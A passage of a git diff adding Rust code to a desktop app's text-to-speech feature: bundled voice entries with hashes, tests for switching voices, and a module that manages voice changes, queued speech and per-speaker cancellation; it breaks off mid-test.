+        "pocket:jane",
+        "Jane",
+        "jane",
+        "p339_023_enhanced.wav",
+        "2f12e7f155eb3118f55425394f1b049e5b1b67bdc9b3932c8ba4521420aeb84a"
+    ),
+    bundled_voice!(
+        "pocket:michael",
+        "Michael",
+        "michael",
+        "p360_023_enhanced.wav",
+        "b6743e9195e5e3fd34fe9d1633ae93f7ffab787b249e45f6467d7d6f7a6ee6ad"
+    ),
+    bundled_voice!(
+        "pocket:eve",
+        "Eve",
+        "eve",
+        "p361_023_enhanced.wav",
+        "396e7cbd066b0f3fb6d67fa26e7904076958239d736d4390f15b5fe88feb14cd"
+    ),
+];
+
+pub(super) fn source_url(voice: &PocketVoiceSpec) -> String {
+    format!(
+        "https://huggingface.co/kyutai/tts-voices/blob/{VCTK_REVISION}/{}",
+        voice.upstream_file
+    )
+}
diff --git a/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs b/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs
new file mode 100644
index 0000000000..bff5ab4f76
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_voice_selection_tests.rs
@@ -0,0 +1,415 @@
+use super::*;
+use std::sync::atomic::{AtomicBool, Ordering};
+use std::sync::Arc;
+
+fn inert_pipeline(cancel: Arc<AtomicBool>) -> TtsPipeline {
+    let (text_tx, text_rx) = std::sync::mpsc::sync_channel(TEXT_QUEUE_DEPTH);
+    let shutdown = Arc::new(AtomicBool::new(false));
+    let worker_shutdown = Arc::clone(&shutdown);
+    let thread = std::thread::spawn(move || {
+        while !worker_shutdown.load(Ordering::Acquire) {
+            let _ = text_rx.recv_timeout(RECV_TIMEOUT);
+        }
+    });
+    TtsPipeline {
+        text_tx,
+        tts_active: Arc::new(AtomicBool::new(false)),
+        shutdown,
+        cancel,
+        voice_cancel: Arc::new(AtomicBool::new(false)),
+        voice: Arc::new(std::sync::Mutex::new("reference_sample".to_string())),
+        voice_generation: Arc::new(AtomicU64::new(1)),
+        speaker_generations: Arc::new(std::sync::Mutex::new(HashMap::new())),
+        active_speaker: Arc::new(std::sync::Mutex::new(None)),
+        speaker_cancel: Arc::new(std::sync::Mutex::new(None)),
+        playback_probe: PlaybackProbe::new(),
+        voice_change_ack: Arc::new(std::sync::Mutex::new(None)),
+        thread: Some(thread),
+    }
+}
+
+#[test]
+fn selecting_a_voice_raises_only_the_internal_cancel_and_retains_the_engine_handle() {
+    let cancel = Arc::new(AtomicBool::new(false));
+    let pipeline = inert_pipeline(Arc::clone(&cancel));
+
+    let _acknowledged = pipeline.select_voice("eve");
+
+    assert!(!cancel.load(Ordering::Acquire));
+    assert!(pipeline.voice_cancel.load(Ordering::Acquire));
+    assert_eq!(
+        pipeline
+            .voice
+            .lock()
+            .unwrap_or_else(|error| error.into_inner())
+            .as_str(),
+        "eve"
+    );
+}
+
+#[test]
+fn reconciling_an_unpublished_pipeline_does_not_cancel_its_first_message() {
+    let cancel = Arc::new(AtomicBool::new(false));
+    let pipeline = inert_pipeline(Arc::clone(&cancel));
+
+    pipeline.select_voice_before_publish("eve");
+
+    assert!(!cancel.load(Ordering::Acquire));
+    assert_eq!(
+        pipeline
+            .voice
+            .lock()
+            .unwrap_or_else(|error| error.into_inner())
+            .as_str(),
+        "eve"
+    );
+}
+
+#[test]
+fn received_text_reconciles_a_voice_changed_while_the_worker_was_waiting() {
+    let model_dir = tempfile::tempdir().expect("temp model dir");
+    let bundled_voice =
+        std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("resources/pocket-voices/eve.wav");
+    std::fs::copy(
+        &bundled_voice,
+        model_dir.path().join("reference_sample.wav"),
+    )
+    .expect("Mary test voice");
+    std::fs::copy(&bundled_voice, model_dir.path().join("eve.wav")).expect("Eve test voice");
+
+    let selected_voice = Arc::new(std::sync::Mutex::new("reference_sample".to_string()));
+    let mut style =
+        load_voice_style(&model_dir.path().join("reference_sample.wav")).expect("initial style");
+    let waiting = Arc::new(std::sync::Barrier::new(2));
+    let (text_tx, text_rx) = std::sync::mpsc::channel();
+    let worker_voice = Arc::clone(&selected_voice);
+    let worker_waiting = Arc::clone(&waiting);
+    let worker_model_dir = model_dir.path().to_path_buf();
+    let worker = std::thread::spawn(move || {
+        let mut voice_name = "reference_sample".to_string();
+        worker_waiting.wait();
+        let text = text_rx.recv().expect("first queued text");
+        assert!(reconcile_selected_voice(
+            &worker_model_dir,
+            &worker_voice,
+            &mut voice_name,
+            &mut style,
+        ));
+        (text, voice_name)
+    });
+
+    waiting.wait();
+    *selected_voice.lock().expect("selected voice") = "eve".to_string();
+    text_tx
+        .send("first message".to_string())
+        .expect("queue first message");
+
+    assert_eq!(
+        worker.join().expect("worker"),
+        ("first message".to_string(), "eve".to_string())
+    );
+}
+
+#[test]
+fn corrupt_selected_voice_falls_back_to_mary() {
+    let model_dir = tempfile::tempdir().expect("temp model dir");
+    let bundled_voice =
+        std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("resources/pocket-voices/eve.wav");
+    std::fs::copy(bundled_voice, model_dir.path().join("reference_sample.wav"))
+        .expect("Mary test voice");
+    std::fs::write(model_dir.path().join("eve.wav"), b"not a wave")
+        .expect("corrupt selected voice");
+
+    let selected_voice = std::sync::Mutex::new("eve".to_string());
+    let mut voice_name = "reference_sample".to_string();
+    let mut style =
+        load_voice_style(&model_dir.path().join("reference_sample.wav")).expect("Mary style");
+
+    assert!(reconcile_selected_voice(
+        model_dir.path(),
+        &selected_voice,
+        &mut voice_name,
+        &mut style,
+    ));
+    assert_eq!(voice_name, DEFAULT_VOICE);
+    assert_eq!(
+        selected_voice
+            .lock()
+            .unwrap_or_else(|error| error.into_inner())
+            .as_str(),
+        DEFAULT_VOICE
+    );
+}
+
+#[test]
+fn an_in_hand_post_change_message_survives_cancellation() {
+    let selected_voice = Arc::new(std::sync::Mutex::new("reference_sample".to_string()));
+    let voice_generation = AtomicU64::new(1);
+    let barge_in = AtomicBool::new(false);
+    let voice_cancel = Arc::new(AtomicBool::new(false));
+    let voice_change_ack = Arc::new(std::sync::Mutex::new(None));
+    let (text_tx, text_rx) = std::sync::mpsc::sync_channel(1);
+    let mut acknowledged = begin_voice_change(
+        &selected_voice,
+        &voice_generation,
+        &voice_cancel,
+        &voice_change_ack,
+        "eve",
+    )
+    .expect("voice changed");
+    assert!(voice_cancel.load(Ordering::Acquire));
+    assert!(matches!(
+        acknowledged.try_recv(),
+        Err(tokio::sync::oneshot::error::TryRecvError::Empty)
+    ));
+    acknowledge_voice_change(&voice_change_ack, &voice_cancel);
+    assert!(matches!(
+        acknowledged.try_recv(),
+        Err(tokio::sync::oneshot::error::TryRecvError::Empty)
+    ));
+    text_tx
+        .send(QueuedText {
+            generation: voice_generation.load(Ordering::Acquire),
+            route_id: 1,
+            speaker_pubkey: None,
+            speaker_generation: 0,
+            voice_reference: None,
+            text: "new message".to_string(),
+        })
+        .expect("new message");
+    let mut current_text = Some(text_rx.recv().expect("in-hand new message"));
+
+    let shutdown = AtomicBool::new(false);
+    let active = AtomicBool::new(true);
+    let mut deferred_text = VecDeque::from([
+        QueuedText {
+            generation: 1,
+            route_id: 2,
+            speaker_pubkey: None,
+            speaker_generation: 0,
+            voice_reference: None,
+            text: "old message".to_string(),
+        },
+        QueuedText {
+            generation: voice_generation.load(Ordering::Acquire),
+            route_id: 3,
+            speaker_pubkey: None,
+            speaker_generation: 0,
+            voice_reference: None,
+            text: "later new message".to_string(),
+        },
+    ]);
+    assert!(handle_cancel_or_shutdown(
+        (&barge_in, &voice_cancel),
+        &shutdown,
+        &active,
+        (&text_rx, &mut deferred_text, &mut current_text),
+        &voice_change_ack,
+        None,
+        None,
+    ));
+    acknowledge_voice_change(&voice_change_ack, &voice_cancel);
+    acknowledged.blocking_recv().expect("voice change ack");
+
+    assert_eq!(
+        deferred_text
+            .pop_front()
+            .expect("preserved post-change message")
+            .text,
+        "new message"
+    );
+    assert_eq!(
+        deferred_text
+            .pop_front()
+            .expect("later post-change message")
+            .text,
+        "later new message"
+    );
+    assert!(text_rx.try_recv().is_err());
+}
+
+#[test]
+fn superseding_voice_change_removes_earlier_deferred_messages() {
+    let selected_voice = std::sync::Mutex::new("reference_sample".to_string());
+    let voice_generation = AtomicU64::new(1);
+    let barge_in = AtomicBool::new(false);
+    let voice_cancel = AtomicBool::new(false);
+    let voice_change_ack = Arc::new(std::sync::Mutex::new(None));
+    let (_text_tx, text_rx) = std::sync::mpsc::channel();
+    let shutdown = AtomicBool::new(false);
+    let active = AtomicBool::new(true);
+    let mut deferred_text = VecDeque::new();
+    let mut current_text = None;
+
+    let first = begin_voice_change(
+        &selected_voice,
+        &voice_generation,
+        &voice_cancel,
+        &voice_change_ack,
+        "eve",
+    )
+    .expect("first voice change");
+    deferred_text.push_back(QueuedText {
+        generation: voice_generation.load(Ordering::Acquire),
+        route_id: 4,
+        speaker_pubkey: None,
+        speaker_generation: 0,
+        voice_reference: None,
+        text: "message for Eve".to_string(),
+    });
+    assert!(handle_cancel_or_shutdown(
+        (&barge_in, &voice_cancel),
+        &shutdown,
+        &active,
+        (&text_rx, &mut deferred_text, &mut current_text),
+        &voice_change_ack,
+        None,
+        None,
+    ));
+    acknowledge_voice_change(&voice_change_ack, &voice_cancel);
+    first.blocking_recv().expect("first acknowledgement");
+
+    let _second = begin_voice_change(
+        &selected_voice,
+        &voice_generation,
+        &voice_cancel,
+        &voice_change_ack,
+        "reference_sample",
+    )
+    .expect("second voice change");
+    assert!(handle_cancel_or_shutdown(
+        (&barge_in, &voice_cancel),
+        &shutdown,
+        &active,
+        (&text_rx, &mut deferred_text, &mut current_text),
+        &voice_change_ack,
+        None,
+        None,
+    ));
+
+    assert!(deferred_text.is_empty());
+}
+
+#[test]
+fn barge_in_clears_deferred_voice_change_messages() {
+    let barge_in = AtomicBool::new(true);
+    let voice_cancel = AtomicBool::new(false);
+    let shutdown = AtomicBool::new(false);
+    let active = AtomicBool::new(true);
+    let voice_change_ack = Arc::new(std::sync::Mutex::new(None));
+    let (_text_tx, text_rx) = std::sync::mpsc::channel();
+    let mut deferred_text = VecDeque::from([QueuedText {
+        generation: 2,
+        route_id: 5,
+        speaker_pubkey: None,
+        speaker_generation: 0,
+        voice_reference: None,
+        text: "deferred message".to_string(),
+    }]);
+    let mut current_text = None;
+
+    assert!(handle_cancel_or_shutdown(
+        (&barge_in, &voice_cancel),
+        &shutdown,
+        &active,
+        (&text_rx, &mut deferred_text, &mut current_text),
+        &voice_change_ack,
+        None,
+        None,
+    ));
+
+    assert!(deferred_text.is_empty());
+}
+
+#[test]
+fn barge_in_during_a_voice_change_clears_post_change_messages() {
+    let selected_voice = std::sync::Mutex::new("reference_sample".to_string());
+    let voice_generation = AtomicU64::new(1);
+    let barge_in = AtomicBool::new(false);
+    let voice_cancel = AtomicBool::new(false);
+    let voice_change_ack = Arc::new(std::sync::Mutex::new(None));
+    let (_text_tx, text_rx) = std::sync::mpsc::channel();
+    let shutdown = AtomicBool::new(false);
+    let active = AtomicBool::new(true);
+    let mut deferred_text = VecDeque::new();
+    let mut current_text = None;
+
+    let _acknowledged = begin_voice_change(
+        &selected_voice,
+        &voice_generation,
+        &voice_cancel,
+        &voice_change_ack,
+        "eve",
+    )
+    .expect("voice change");
+    deferred_text.push_back(QueuedText {
+        generation: voice_generation.load(Ordering::Acquire),
+        route_id: 6,
+        speaker_pubkey: None,
+        speaker_generation: 0,
+        voice_reference: None,
+        text: "post-change message".to_string(),
+    });
+    barge_in.store(true, Ordering::Release);
+
+    assert!(handle_cancel_or_shutdown(
+        (&barge_in, &voice_cancel),
+        &shutdown,
+        &active,
+        (&text_rx, &mut deferred_text, &mut current_text),
+        &voice_change_ack,
+        None,
+        None,
+    ));
+    assert!(deferred_text.is_empty());
+}
+
+#[test]
+fn a_sender_captured_before_voice_change_is_stale_even_if_it_sends_after_drain() {
+    let selected_voice = std::sync::Mutex::new("reference_sample".to_string());
+    let voice_generation = Arc::new(AtomicU64::new(1));
+    let barge_in = AtomicBool::new(false);
+    let voice_cancel = AtomicBool::new(false);
+    let voice_change_ack = Arc::new(std::sync::Mutex::new(None));
+    let (text_tx, text_rx) = std::sync::mpsc::sync_channel(1);
+    let old_sender = TtsTextSender {
+        text_tx,
+        generation: voice_generation.load(Ordering::Acquire),
+        speaker_generations: Arc::new(std::sync::Mutex::new(HashMap::new())),
+    };
+    let shutdown = AtomicBool::new(false);
+    let active = AtomicBool::new(true);
+    let mut deferred_text = VecDeque::new();
+    let mut current_text = None;
+
+    let _acknowledged = begin_voice_change(
+        &selected_voice,
+        &voice_generation,
+        &voice_cancel,
+        &voice_change_ack,
+        "eve",
+    )
+    .expect("voice change");
+    assert!(handle_cancel_or_shutdown(
+        (&barge_in, &voice_cancel),
+        &shutdown,
+        &active,
+        (&text_rx, &mut deferred_text, &mut current_text),
+        &voice_change_ack,
+        None,
+        None,
+    ));
+    old_sender
+        .send(
+            7,
+            "agent".to_string(),
+            0,
+            "reference_sample".to_string(),
+            "late old message".to_string(),
+        )
+        .expect("late send");
+    let late = text_rx.recv().expect("late queued text");
+
+    assert!(late.generation < voice_generation.load(Ordering::Acquire));
+    assert_eq!(late.voice_reference.as_deref(), Some("reference_sample"));
+}
diff --git a/desktop/src-tauri/src/huddle/tts_voice_transition.rs b/desktop/src-tauri/src/huddle/tts_voice_transition.rs
new file mode 100644
index 0000000000..a60d3506ff
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/tts_voice_transition.rs
@@ -0,0 +1,697 @@
+use std::{
+    collections::{HashMap, VecDeque},
+    fmt,
+    path::Path,
+    sync::{
+        atomic::{AtomicBool, AtomicU64, Ordering},
+        mpsc::{self, SyncSender},
+        Arc, Mutex,
+    },
+};
+
+use crate::huddle::pocket::{load_voice_style, VoiceStyle, DEFAULT_VOICE, VOICE_FILE_EXT};
+
+#[derive(Debug)]
+pub(super) struct PendingVoiceChange {
+    pub(super) generation: u64,
+    acknowledged: tokio::sync::oneshot::Sender<()>,
+}
+
+pub(super) type VoiceChangeAck = Arc<Mutex<Option<PendingVoiceChange>>>;
+pub(super) type WorkerVoiceState = (Arc<Mutex<String>>, Arc<AtomicU64>, VoiceChangeAck);
+pub(super) type WorkerCancelSignals = (Arc<AtomicBool>, Arc<AtomicBool>);
+pub(super) type SpeakerGenerations = Arc<Mutex<HashMap<String, u64>>>;
+pub(super) type ActiveSpeaker = Arc<Mutex<Option<String>>>;
+pub(super) type SpeakerCancellation = Arc<Mutex<Option<String>>>;
+pub(super) type CancelTextState<'a> = (
+    &'a mpsc::Receiver<QueuedText>,
+    &'a mut VecDeque<QueuedText>,
+    &'a mut Option<QueuedText>,
+);
+pub(super) type CancelSignals<'a> = (&'a AtomicBool, &'a AtomicBool);
+
+#[derive(Clone)]
+pub(super) struct PlaybackProbe {
+    player: Arc<Mutex<Option<Arc<rodio::Player>>>>,
+    pub(super) player_ops: Arc<Mutex<()>>,
+    synthesis_in_flight: Arc<AtomicBool>,
+}
+
+pub(super) struct SynthesisFlightGuard {
+    playback_probe: PlaybackProbe,
+}
+
+impl Drop for SynthesisFlightGuard {
+    fn drop(&mut self) {
+        self.playback_probe.set_synthesis_in_flight(false);
+    }
+}
+
+impl PlaybackProbe {
+    pub(super) fn new() -> Self {
+        Self {
+            player: Arc::new(Mutex::new(None)),
+            player_ops: Arc::new(Mutex::new(())),
+            synthesis_in_flight: Arc::new(AtomicBool::new(false)),
+        }
+    }
+
+    pub(super) fn install(&self, player: Arc<rodio::Player>) {
+        self.player
+            .lock()
+            .unwrap_or_else(|error| error.into_inner())
+            .replace(player);
+    }
+
+    pub(super) fn set_synthesis_in_flight(&self, in_flight: bool) {
+        let _ops = super::lock_player_ops(&self.player_ops);
+        self.synthesis_in_flight.store(in_flight, Ordering::Release);
+    }
+
+    pub(super) fn begin_synthesis(&self) -> SynthesisFlightGuard {
+        self.set_synthesis_in_flight(true);
+        SynthesisFlightGuard {
+            playback_probe: self.clone(),
+        }
+    }
+
+    fn player(&self) -> Option<Arc<rodio::Player>> {
+        self.player
+            .lock()
+            .unwrap_or_else(|error| error.into_inner())
+            .clone()
+    }
+}
+
+impl fmt::Debug for PlaybackProbe {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        formatter
+            .debug_struct("PlaybackProbe")
+            .finish_non_exhaustive()
+    }
+}
+
+#[derive(Debug)]
+pub(super) struct QueuedText {
+    pub(super) generation: u64,
+    pub(super) route_id: u64,
+    pub(super) speaker_pubkey: Option<String>,
+    pub(super) speaker_generation: u64,
+    pub(super) voice_reference: Option<String>,
+    pub(super) text: String,
+}
+
+#[derive(Clone, Debug)]
+pub(crate) struct TtsTextSender {
+    pub(super) text_tx: SyncSender<QueuedText>,
+    pub(super) generation: u64,
+    pub(super) speaker_generations: SpeakerGenerations,
+}
+
+impl TtsTextSender {
+    pub(crate) fn send(
+        &self,
+        route_id: u64,
+        speaker_pubkey: String,
+        speaker_generation: u64,
+        voice_reference: String,
+        text: String,
+    ) -> Result<(), String> {
+        self.text_tx
+            .send(QueuedText {
+                generation: self.generation,
+                route_id,
+                speaker_pubkey: Some(speaker_pubkey),
+                speaker_generation,
+                voice_reference: Some(voice_reference),
+                text,
+            })
+            .map_err(|error| error.to_string())
+    }
+
+    pub(crate) fn speaker_generation(&self, speaker_pubkey: &str) -> u64 {
+        current_speaker_generation(&self.speaker_generations, speaker_pubkey)
+    }
+}
+
+pub(super) fn current_speaker_generation(
+    generations: &SpeakerGenerations,
+    speaker_pubkey: &str,
+) -> u64 {
+    generations
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .get(&speaker_pubkey.to_ascii_lowercase())
+        .copied()
+        .unwrap_or(0)
+}
+
+pub(super) fn advance_speaker_generation(
+    generations: &SpeakerGenerations,
+    speaker_pubkey: &str,
+) -> u64 {
+    let mut generations = generations
+        .lock()
+        .unwrap_or_else(|error| error.into_inner());
+    let generation = generations
+        .entry(speaker_pubkey.to_ascii_lowercase())
+        .or_default();
+    *generation = generation.saturating_add(1);
+    *generation
+}
+
+pub(super) fn queued_speaker_is_current(
+    generations: &SpeakerGenerations,
+    queued: &QueuedText,
+) -> bool {
+    queued
+        .speaker_pubkey
+        .as_deref()
+        .is_none_or(|speaker_pubkey| {
+            current_speaker_generation(generations, speaker_pubkey) == queued.speaker_generation
+        })
+}
+
+pub(super) fn request_speaker_cancel(
+    generations: &SpeakerGenerations,
+    active_speaker: &ActiveSpeaker,
+    cancellation: &SpeakerCancellation,
+    speaker_pubkey: &str,
+) {
+    advance_speaker_generation(generations, speaker_pubkey);
+    let owns_player = active_speaker
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .as_deref()
+        .is_some_and(|active| active.eq_ignore_ascii_case(speaker_pubkey));
+    if owns_player {
+        cancellation
+            .lock()
+            .unwrap_or_else(|error| error.into_inner())
+            .replace(speaker_pubkey.to_ascii_lowercase());
+    }
+}
+
+pub(super) fn request_active_speaker_cancel(
+    generations: &SpeakerGenerations,
+    active_speaker: &ActiveSpeaker,
+    cancellation: &SpeakerCancellation,
+    playback_probe: &PlaybackProbe,
+    expected_speaker_pubkey: &str,
+) -> bool {
+    let Some(player) = playback_probe.player() else {
+        return false;
+    };
+    let _ops = super::lock_player_ops(&playback_probe.player_ops);
+    let playback_live =
+        !player.empty() || playback_probe.synthesis_in_flight.load(Ordering::Acquire);
+    request_active_speaker_cancel_while_locked(
+        generations,
+        active_speaker,
+        cancellation,
+        playback_live,
+        expected_speaker_pubkey,
+    )
+}
+
+fn request_active_speaker_cancel_while_locked(
+    generations: &SpeakerGenerations,
+    active_speaker: &ActiveSpeaker,
+    cancellation: &SpeakerCancellation,
+    playback_live: bool,
+    expected_speaker_pubkey: &str,
+) -> bool {
+    if !playback_live {
+        return false;
+    }
+    let active = active_speaker
+        .lock()
+        .unwrap_or_else(|error| error.into_inner());
+    let Some(speaker_pubkey) = active.as_deref() else {
+        return false;
+    };
+    if !speaker_pubkey.eq_ignore_ascii_case(expected_speaker_pubkey) {
+        return false;
+    }
+
+    // Keep ownership locked until the generation and cancellation request are
+    // committed. The drain path takes the same lock, so the request is bound
+    // to the utterance the Stop action actually observed.
+    let mut cancellation = cancellation
+        .lock()
+        .unwrap_or_else(|error| error.into_inner());
+    if cancellation
+        .as_deref()
+        .is_some_and(|pending| pending.eq_ignore_ascii_case(speaker_pubkey))
+    {
+        return false;
+    }
+    advance_speaker_generation(generations, speaker_pubkey);
+    cancellation.replace(speaker_pubkey.to_ascii_lowercase());
+    true
+}
+
+pub(super) fn retain_current_speaker_text(
+    generations: &SpeakerGenerations,
+    deferred_text: &mut VecDeque<QueuedText>,
+    current_text: &mut Option<QueuedText>,
+    text_rx: &mpsc::Receiver<QueuedText>,
+) {
+    deferred_text.retain(|text| queued_speaker_is_current(generations, text));
+    if let Some(text) = current_text.take() {
+        if queued_speaker_is_current(generations, &text) {
+            deferred_text.push_front(text);
+        } else {
+            log_cancelled_route(text.route_id, "speaker_removed");
+        }
+    }
+    while let Ok(text) = text_rx.try_recv() {
+        if queued_speaker_is_current(generations, &text) {
+            deferred_text.push_back(text);
+        } else {
+            log_cancelled_route(text.route_id, "speaker_removed");
+        }
+    }
+}
+
+pub(super) fn has_pending_voice_change(voice_change_ack: &VoiceChangeAck) -> bool {
+    voice_change_ack
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .is_some()
+}
+
+pub(super) fn begin_voice_change(
+    selected_voice: &Mutex<String>,
+    voice_generation: &AtomicU64,
+    voice_cancel: &AtomicBool,
+    voice_change_ack: &VoiceChangeAck,
+    voice: &str,
+) -> Option<tokio::sync::oneshot::Receiver<()>> {
+    let mut pending_ack = voice_change_ack
+        .lock()
+        .unwrap_or_else(|error| error.into_inner());
+    let mut selected = selected_voice
+        .lock()
+        .unwrap_or_else(|error| error.into_inner());
+    if selected.as_str() == voice {
+        return None;
+    }
+
+    let (sender, receiver) = tokio::sync::oneshot::channel();
+    voice_cancel.store(true, Ordering::Release);
+    let generation = voice_generation.fetch_add(1, Ordering::AcqRel) + 1;
+    if let Some(superseded) = pending_ack.replace(PendingVoiceChange {
+        generation,
+        acknowledged: sender,
+    }) {
+        let _ = superseded.acknowledged.send(());
+    }
+    *selected = voice.to_string();
+    Some(receiver)
+}
+
+pub(super) fn acknowledge_voice_change(
+    voice_change_ack: &VoiceChangeAck,
+    voice_cancel: &AtomicBool,
+) {
+    let mut pending_ack = voice_change_ack
+        .lock()
+        .unwrap_or_else(|error| error.into_inner());
+    if voice_cancel.load(Ordering::Acquire) {
+        return;
+    }
+    if let Some(pending) = pending_ack.take() {
+        let _ = pending.acknowledged.send(());
+    }
+}
+
+pub(super) fn finish_voice_change_ack(voice_change_ack: &VoiceChangeAck) {
+    if let Some(pending) = voice_change_ack
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .take()
+    {
+        let _ = pending.acknowledged.send(());
+    }
+}
+
+pub(super) fn reconcile_selected_voice(
+    model_dir: &Path,
+    selected_voice: &Mutex<String>,
+    voice_name: &mut String,
+    style: &mut VoiceStyle,
+) -> bool {
+    let requested_voice = selected_voice
+        .lock()
+        .unwrap_or_else(|error| error.into_inner())
+        .clone();
+    if requested_voice == *voice_name {
+        return true;
+    }
+
+    let requested_path = voice_path(model_dir, &requested_voice);
+    match load_voice_style(&requested_path) {
+        Ok(requested_style) => {
+            *style = requested_style;
+            *voice_name = requested_voice;
+            true
+        }
+        Err(_) => {
+            eprintln!("buzz-desktop: tts stage=voice_switch status=fallback reason=voice_style");
+            let fallback_path = model_dir.join(format!("{DEFAULT_VOICE}.{VOICE_FILE_EXT}"));
+            match load_voice_style(&fallback_path) {
+                Ok(fallback_style) => {
+                    *style = fallback_style;
+                    *voice_name = DEFAULT_VOICE.to_string();
+                    *selected_voice
+                        .lock()
+                        .unwrap_or_else(|lock_error| lock_error.into_inner()) =
+                        DEFAULT_VOICE.to_string();
+                    true
+                }
+                Err(_) => {
+                    eprintln!(
+                        "buzz-desktop: tts stage=voice_switch status=failed reason=fallback_voice_style"
+                    );
+                    false
+                }
+            }
+        }
+    }
+}
+
+pub(super) fn reconcile_queued_voice(
+    model_dir: &Path,
+    requested_voice: &str,
+    selected_voice: &Mutex<String>,
+    voice_name: &mut String,
+    style: &mut VoiceStyle,
+    style_cache: &mut HashMap<String, VoiceStyle>,
+) -> bool {
+    if requested_voice == voice_name.as_str() {
+        return true;
+    }
+    if let Some(cached) = style_cache.get(requested_voice) {
+        *style = cached.clone();
+        *voice_name = requested_voice.to_owned();
+        return true;
+    }
+
+    match load_voice_style(&voice_path(model_dir, requested_voice)) {
+        Ok(requested_style) => {
+            style_cache.insert(requested_voice.to_owned(), requested_style.clone());
+            *style = requested_style;
+            *voice_name = requested_voice.to_owned();
+            true
+        }
+        Err(_) => {
+            eprintln!(
+                "buzz-desktop: tts stage=agent_voice_switch status=fallback reason=voice_style"
+            );
+            let ready = reconcile_selected_voice(model_dir, selected_voice, voice_name, style);
+            if ready {
+                style_cache.insert(voice_name.clone(), style.clone());
+            }
+            ready
+        }
+    }
+}
+
+pub(super) fn voice_path(model_dir: &Path, voice: &str) -> std::path::PathBuf {
+    let path = Path::new(voice);
+    if path.is_absolute() {
+        path.to_path_buf()
+    } else {
+        model_dir.join(format!("{voice}.{VOICE_FILE_EXT}"))
+    }
+}
+
+pub(super) fn retain_cancelled_text(
+    deferred_text: &mut VecDeque<QueuedText>,
+    current_text: &mut Option<QueuedText>,
+    text_rx: &mpsc::Receiver<QueuedText>,
+    preserve_generation: Option<u64>,
+) {
+    if let Some(generation) = preserve_generation {
+        deferred_text.retain(|text| {
+            let preserve = text.generation >= generation;
+            if !preserve {
+                log_cancelled_route(text.route_id, "voice_switch");
+            }
+            preserve
+        });
+        if let Some(text) = current_text.take() {
+            if text.generation >= generation {
+                deferred_text.push_front(text);
+            } else {
+                log_cancelled_route(text.route_id, "voice_switch");
+            }
+        }
+        while let Ok(text) = text_rx.try_recv() {
+            if text.generation >= generation {
+                deferred_text.push_back(text);
+            } else {
+                log_cancelled_route(text.route_id, "voice_switch");
+            }
+        }
+    } else {
+        for text in deferred_text.drain(..) {
+            log_cancelled_route(text.route_id, "barge_in");
+        }
+        if let Some(text) = current_text.take() {
+            log_cancelled_route(text.route_id, "barge_in");
+        }
+        while let Ok(text) = text_rx.try_recv() {
+            log_cancelled_route(text.route_id, "barge_in");
+        }
+    }
+}
+
+fn log_cancelled_route(route_id: u64, reason: &str) {
+    eprintln!("buzz-desktop: tts stage=queue status=dropped reason={reason} route_id={route_id}");
+}
+
+#[cfg(test)]
+mod speaker_generation_tests {
+    use super::*;
+
+    fn playback_probe(playback_live: bool) -> PlaybackProbe {
+        let channels = std::num::NonZero::new(1).expect("non-zero channels");
+        let sample_rate = std::num::NonZero::new(24_000).expect("non-zero sample rate");
+        let (mixer, _mixer_source) = rodio::mixer::mixer(channels, sample_rate);
+        let player = Arc::new(rodio::Player::connect_new(&mixer));
+        if playback_live {
+            player.append(rodio::buffer::SamplesBuffer::new(
+                channels,
+                sample_rate,
+                vec![0.0; 24_000],
+            ));
+        }
+        let probe = PlaybackProbe::new();
+        probe.install(player);
+        probe
+    }
+
+    fn queued_speech(speaker_pubkey: &str, speaker_generation: u64) -> QueuedText {
+        QueuedText {
+            generation: 1,
+            route_id: 1,
+            speaker_pubkey: Some(speaker_pubkey.to_string()),
+            speaker_generation,
+            voice_reference: Some("pocket:mary".to_string()),
+            text: "Hello".to_string(),
+        }
+    }
+
+    #[test]
+    fn removing_a_speaker_invalidates_only_that_speakers_queued_text() {
+        let generations = Arc::new(Mutex::new(HashMap::new()));
+        let alice = queued_speech("ALICE", current_speaker_generation(&generations, "alice"));
+        let bob = queued_speech("bob", current_speaker_generation(&generations, "bob"));
+
+        advance_speaker_generation(&generations, "alice");
+
+        assert!(!queued_speaker_is_current(&generations, &alice));
+        assert!(queued_speaker_is_current(&generations, &bob));
+
+        let rejoined_alice =
+            queued_speech("alice", current_speaker_generation(&generations, "alice"));
+        assert!(queued_speaker_is_current(&generations, &rejoined_alice));
+    }
+
+    #[test]
+    fn removing_a_silent_speaker_does_not_cancel_the_active_speaker() {
+        let generations = Arc::new(Mutex::new(HashMap::new()));
+        let active_speaker = Arc::new(Mutex::new(Some("alice".to_string())));
+        let cancellation = Arc::new(Mutex::new(None));
+
+        request_speaker_cancel(&generations, &active_speaker, &cancellation, "bob");
+
+        assert!(cancellation.lock().expect("cancellation").is_none());
+        assert_eq!(
+            active_speaker.lock().expect("active speaker").as_deref(),
+            Some("alice")
+        );
+    }
+
+    #[test]
+    fn targeted_cancellation_preserves_other_speakers_queue_entries() {
+        let generations = Arc::new(Mutex::new(HashMap::new()));
+        let active_speaker = Arc::new(Mutex::new(Some("alice".to_string())));
+        let cancellation = Arc::new(Mutex::new(None));
+        let alice = queued_speech("alice", 0);
+        let bob = queued_speech("bob", 0);
+        let (_text_tx, text_rx) = mpsc::sync_channel(1);
+        let mut deferred = VecDeque::from([alice, bob]);
+        let mut current = None;
+
+        request_speaker_cancel(&generations, &active_speaker, &cancellation, "alice");
+        retain_current_speaker_text(&generations, &mut deferred, &mut current, &text_rx);
+
+        assert_eq!(deferred.len(), 1);
+        assert_eq!(deferred[0].speaker_pubkey.as_deref(), Some("bob"));
+    }
+
+    #[test]
+    fn stop_request_is_bound_to_the_observed_speaker_generation() {
+        let generations = Arc::new(Mutex::new(HashMap::new()));
+        let active_speaker = Arc::new(Mutex::new(Some("alice".to_string())));
+        let cancellation = Arc::new(Mutex::new(None));
+
+        assert!(request_active_speaker_cancel(
+            &generations,
+            &active_speaker,
+            &cancellation,
+            &playback_probe(true),
+            "alice",
+        ));
+        assert_eq!(current_speaker_generation(&generations, "alice"), 1);
